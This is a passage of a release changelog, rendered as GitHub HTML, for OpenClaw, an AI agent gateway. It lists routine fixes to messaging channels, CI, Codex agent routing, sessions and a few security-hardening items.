data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
